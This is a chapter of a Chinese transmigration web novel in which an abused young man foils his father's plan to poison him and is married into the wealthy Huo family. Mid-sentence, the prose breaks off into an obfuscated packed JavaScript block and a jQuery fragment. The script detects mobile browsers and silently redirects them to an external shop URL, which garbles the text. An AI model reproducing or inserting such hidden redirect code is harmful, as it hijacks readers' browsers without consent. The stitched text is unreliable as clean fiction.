“敏慧,真要给他喝这个药啊。”
模糊的声音落在耳朵里,江枫眠艰难地抬起沉重的眼皮,入目是一只棕灰色的小熊,他反应了一下,手指抬了抬,整个人似乎是陷在单薄的被窝里。
“阿岭,不是我要狠心,你可要想清楚,好不容易有机会把这个拖油瓶甩出去,你甘心他坏了好事么,那可是一个亿。”
“一个傻子,你知道他会跟霍家说什么,只有哑巴,才不会乱说话。”
江峻岭原本还有些迟疑,当听到吕敏慧说出口的一个亿时,眼神逐渐坚定起来。
一个傻儿子而已,能最后有一点价值都算他烧了高香,给他吃给他喝已经仁至义尽,不能给家族带了利益,留着也没什么用。
更何况,他跟敏慧还有一个各方面都优秀的儿子。
“敏慧,把药给我吧,我来。”
对话的声音越来越清晰,江枫眠心中一惊,这是什么情况,看样子是想要毒哑他,江枫眠挣扎着要爬起来,可浑身上下的疼痛感又把他拽回去。
唔,好疼好疼。
说话的两人听到床上的动静,立马闭嘴,眼神对视,吕敏慧示意江峻岭凑近些,看看江枫眠是什么情况。
虽说是个傻子,要是察觉什么就不好了。
江峻岭点点头,脚步放轻,刚俯身靠近江枫眠。
刷一下。
江枫眠咬着唇猛地坐起来。
浑身的骨骼似的都疼得错位,江枫眠眼前朦胧又模糊,眨着眼轻轻一扫,手腕上是遍布的伤痕。
“江枫眠。”
女人的声音尖锐,眼底满是嫌弃,见江枫眠痴痴傻傻没有反应,鄙夷地翻了个白眼,撞了下身侧面色阴沉的男人,示意他把药喂给江枫眠。
“枫眠,渴了吧,来,喝口水。”
江枫眠惊恐地往后挪了挪,抱着被子的一角瑟瑟发抖。
他坐起来的间隙环顾四周,完全陌生的环境,不是他租住的出租屋,空气里更没有发霉的腐味。
眼前这两个人他更是完全陌生,联想到身上的伤,这两人还要密谋毒哑他,肯定不是什么好东西。
“走,走开。”
江枫眠出声时喉咙里像是塞了棉花,声音细细小小的,他轻咳两声,干脆拿被子捂在脑袋上。
“江枫眠,你别给脸不要脸,出来。”
身体似乎已经成了条件反射,尖锐的怒吼传来,江枫眠不自觉抖了一下。
他握住冰凉的指尖,把被角压在身下,试图把寒意驱出去。
“你看看你教的好儿子,霍家可是还有一个小时就来接人了,就这个傻样子,怎么跟人家霍家交代。”
江枫眠回忆起捕捉到的几个关键词,江峻岭,霍家,还有迷迷糊糊间听到的敏慧两个字。
内心翻江倒海,他,他好像是穿书了。
江枫眠咽了咽口水,江峻岭这个名字他一定不会记错的,这是《和大佬联姻后我暴富了》这本书里的主角受他爹,是个彻头彻尾的人渣。
跟江枫眠的妈妈刚结婚就出轨,私生子就比他小一岁,江妈因病去死的第三个月,小三带着私生子登堂入室,摇身一变成了江家女主人。
可怜江枫眠从小被虐待,关小黑屋,渣爹不仅不管,还帮着打江枫眠,恨不得没有这个儿子。
江枫眠从小成绩优异,跳级上的大学,二十岁大学毕业前途一片光明,哪成想他名义上同父异母的弟弟把他从楼梯上推下去,直接摔伤脑袋成了傻子。
这本书显然跟他没什么关系,主角受是同父异母的弟弟,主角攻是霍家尊贵的小少爷,他只是个炮灰,被江家像是甩掉脏东西一样扔出去,最后溺死在池塘里。
大佬不是他,暴富也不是他,横死是他。
江枫眠看小说时就气的要死,本着绿江同名同姓的穿书定律,他一字一句看的格外认真,最喜欢的就是书里被称为反派的霍纵。
不管面对何种境地,都能绝处逢生,天大的事都能轻松化解,游刃有余,掌控一切。
哪成想,昨天晚上作者更新的一章直接把霍纵写死了,大货车碾压而死,司机肇事逃逸。没有完整的尸体,没有收尸的亲属,路过的流浪狗啃食了一块肉才被人发现。
江枫眠血压飙升,写了两千字的小作文怒骂,骂完还不解气,又喝了一瓶冰可乐想继续骂,谁知道一觉醒来穿书了。
唉,他可能是唯一一个看小说气死的。
说出去都丢人。
大概理清自己现在的状况,江枫眠立马挤出两滴泪来,他可是泪失禁体质,眼泪有的是。
“别,别打我。”
江枫眠从被窝里钻出来,他身前挡着的被子被一把扯开,渣爹用力抓上他的手腕,疼得他眼泪瞬间模糊了视线,拼命想甩开渣爹的胳膊,废了好大的劲才勉强把人推出去。
渣爹没站稳捎带把后妈也一起绊倒,药碗摔了一地,碎片扎在两人身上,一时间哀嚎声四起。
“狗东西,你想干什么。”
后妈勉强扶着渣爹的肩膀站起来,她白色的裙子上全是脏污,手臂被划伤的地方渗着血珠。
她低骂了一句,抄起一旁的花瓶就要砸江枫眠。
江枫眠眼疾手快拿被子挡了一下,他猛地把被子推出去,光着脚下地飞快跑进卫生间,把卫生间的门反锁上。
砰砰砰的拍门声很快响起,江枫眠靠在门口喘着粗气。
想到身上伤口会很多,没想到这么多,光是胳膊上腿上就遍布青紫,后背都不敢有大动作,他把破洞的睡衣撩起来,一道红紫色的伤口贯穿整个后背。
人渣,真是人渣,看样子是新伤。
书里的江枫眠应该是被他们打死了,他才有机会穿过来。
放下衣摆,江枫眠凑到镜子前仔细看了看,幸亏脸上没什么伤口,只是这张脸和他的一模一样,就连鼻尖上的小痣都分毫不差。
嘶。
江枫眠倒吸了一口凉气,书里压根没写江枫眠鼻尖上有痣啊,该不会这是他的身体吧。
就算是他的身体,也没必要补齐这些伤口吧,太疼了!
江枫眠心有余悸地碰了碰胳膊上的伤,他痛觉神经敏感,这些伤几乎能要了他的命,太疼了,疼得眼泪直流,止都止不住。
他缓了好久,屋外摔东西的声音渐停,江枫眠这才慢吞吞地洗了把脸。
他扶着冰冷的墙壁复盘着剧情,让他跟霍家联姻,霍纵,他喜欢的不得了的那个人。
江枫眠是个孤儿,吃着百家饭才顺利长大,他比谁都懂霍纵被霍家忽略排挤,想讨好那些人却一次次被践踏真心后的失落。
他太喜欢霍纵了,霍纵就像是另一个世界的自己,一举一动都戳在江枫眠心巴上。
江枫眠看小说时候把攒起来的营养液都投给霍纵,给他砸雷,日常发小作文表白,到头来作者用极其惨烈的方式给他写死了。
气!
江枫眠捶了一下墙,刺痛感袭来,刚止住的泪又吧嗒吧嗒落下来。
更气了好不好!
时间一分一秒过去,江枫眠没敢贸然打开卫生间的门,他趴在门上仔细听了听,房间似乎是没人了。
“哎哟,郑管家,您怎么还亲自来了。”
江父谄媚地看着面前西装革履的男人,这可是在霍家近三十年的管家,代表的是霍老爷子的脸面,亲自上门,倒是给足了江家面子。
“你儿子呢?”
帝都谁不知道江枫眠是个傻子,联姻这事谁都不看好,他最清楚霍少的脾气,不可能跟一个傻子有发展,他自然也没什么好尊重的。
“在楼上呢,我去叫,我去叫,郑管家,您坐吧。”
“不用,我一起。”
来之前老爷交代了,亲自看看江枫眠什么情况。
江父领着郑管家上楼,似乎没看见满地的玻璃碎片,解释道:“家里不知道哪里蹿出来一只老鼠,把花瓶碰碎了。”
咚咚咚。
“枫眠,霍家的郑管家来接你了。”
呕。
语气格外温柔,倒是个会演戏的。
郑管家跟主角攻是一伙的,对他这个炮灰向来是鄙夷又看不起,对霍纵也是阳奉阴违,不是什么好东西。
江枫眠抱着胳膊,视线移到一侧的马桶刷上,眼珠子一转,顿时有了主意。他确定渣爹还趴在门上,才猛地打开卫生间的门。
借着骤然开门的冲击力,江枫眠抬脚轻轻一绊,渣爹脚下不稳,张着嘴巴直直地摔在江枫眠提前预备好的马桶刷上。
腥臭味扑鼻而来,渣爹呕的一声,舌尖上似乎都粘着恶心的东西。
“江……呕。”
他趴在马桶上大吐特吐,漱口水用了好几次,嘴巴里似乎还有腥味。
“妈的。”
渣爹刚抬起手,江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187230|150706||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
枫眠就抱着脑袋缩到一旁的角落。
“别,别打。”
江枫眠眼底一片冷意,看来是舔马桶刷不够,还想要别的。
江枫眠露出来的眼角还挂着泪,身上的衣服破破烂烂的,胳膊曲起来的地方伤痕累累。
察觉到郑管家眉头皱起来,江父攥着拳头,强忍着不适微笑起来。
“抱歉啊郑管家,是我没站稳,闹了笑话。枫眠是好孩子,是关心我。”
郑管家无所谓地嗯了一声,都是人精,江枫眠怎么样跟他没关系,多一事不如少一事。
“枫眠,快去换衣服,换上好看的衣服。”
江父的脸都要笑僵了,刚伸出手就被江枫眠躲开。
“好臭啊。”
死东西,江父眯起眼睛,马桶刷怎么刚好就在那,该不会是这个死东西搞的鬼吧。
可看江枫眠痴痴傻傻的模样,他只觉得自己想多了。
“枫眠,换衣服。”
江枫眠没再反抗,光着脚踩在地板上,破破烂烂的衣服更是随着走路带起的风晃荡。
郑管家顿时露出鄙夷地表情,嫌弃似的离江父远了些。
衣柜空空荡荡的,江枫眠叹了口气,他特意选了衣袖稍短的,好一伸手就露出伤来。
“江总,我家老爷交代了,你们也一起吃个饭。”
吃了饭,就算是定下了。
儿子卖了好价钱,渣爹高兴地合不拢嘴,拉着后妈换了身体面的好衣服,容荣华贵,logo明显,显得一旁呆傻的江枫眠格格不入。
江枫眠的东西很少,收拾起来半个行李箱都放不满,他坐在汽车后座,听着管家絮叨。
“霍少最讨厌肢体接触,而且他有洁癖,你离霍少远一点,小心挨打。”
江枫眠耳朵动了动,连眼皮都懒得抬。
哼,霍纵什么样我比你了解,他才不会无缘无故骂人打人。
车子停在霍家别墅门口,江枫眠垂着眸子,拘谨地离渣爹八丈远,澡都没洗,臭死了好不好!
“老爷,人接回来了。”
霍擎就端坐在沙发主位上,恹恹地抬起眼皮看了眼江枫眠。
看起来倒是没有太傻。
江枫眠视线直直地看过去,在沙发一角,他对上霍纵的眼神。
淡漠的没有任何情绪,偏偏他的眼睛生的极漂亮,只一眼,江枫眠呼吸都跟着放轻。
剑眉星目,棱角分明,他修长的手指抵在下巴,冷冷看了眼江枫眠,他大长腿被西装裤包裹着,哪怕是坐着都又长又直。
啊啊啊啊,崽崽,好帅好帅的崽崽。
江枫眠掐着掌心,怎么办,帅的他大脑缺氧,要昏过去了。
呜呜呜,崽崽,好崽崽,连冷漠地看他都那么有魅力。
“霍总,我们枫眠就交给你了。”
渣爹装模作样地想挤出几滴泪来,挤了半天什么都没有,只能遗憾作罢。
这个模样落到霍纵眼里格外滑稽,江枫眠看起来瘦瘦小小的一只,水汪汪的大眼睛里全是泪,三年前就伤到了脑子,哪里懂什么是联姻。
渣爹谄媚地看着霍擎,恭维道:“我们枫眠撞了大运,能被霍家看上,我们全家感恩戴德。”
霍擎意味不明地嗯了一声,霍纵已经废了,娶谁都一样,他不在乎。
“枫眠,过来,跟霍老打招呼。”
江枫眠稍稍后退了几步,浑身上下都写着拒绝。
霍纵这个爹也不是什么好东西,偏心偏到月球了,可以说霍纵的死,他“功不可没”。
“霍老,不好意思,我们枫眠害羞,他平常不这样的。”
害羞你个大头鬼,谁要跟人渣打招呼啊。
江枫眠视线移开,继续盯着霍纵犯花痴,作者也真是的,吝啬用文字描写霍纵,都没写出他万分之一帅气。
被盯的久了,霍纵抬头看过去,他恍惚看见江枫眠眼底的笑意。
“江枫眠,过来。”
眼看着渣爹抬起手臂,江枫眠眼眶霎时间蓄满泪水,惊恐地摇着头。
他不停后退,小腿撞上茶几摔在地上,不经意露出身上的伤痕。江枫眠不敢耽搁,飞快跑到霍纵身边。
霍纵垂在身侧的手腕就被江枫眠轻轻握住。
一时间,屋里安静下来,任谁都没想到,江枫眠胆子大到敢直接去抓霍纵。
“老公,救我。”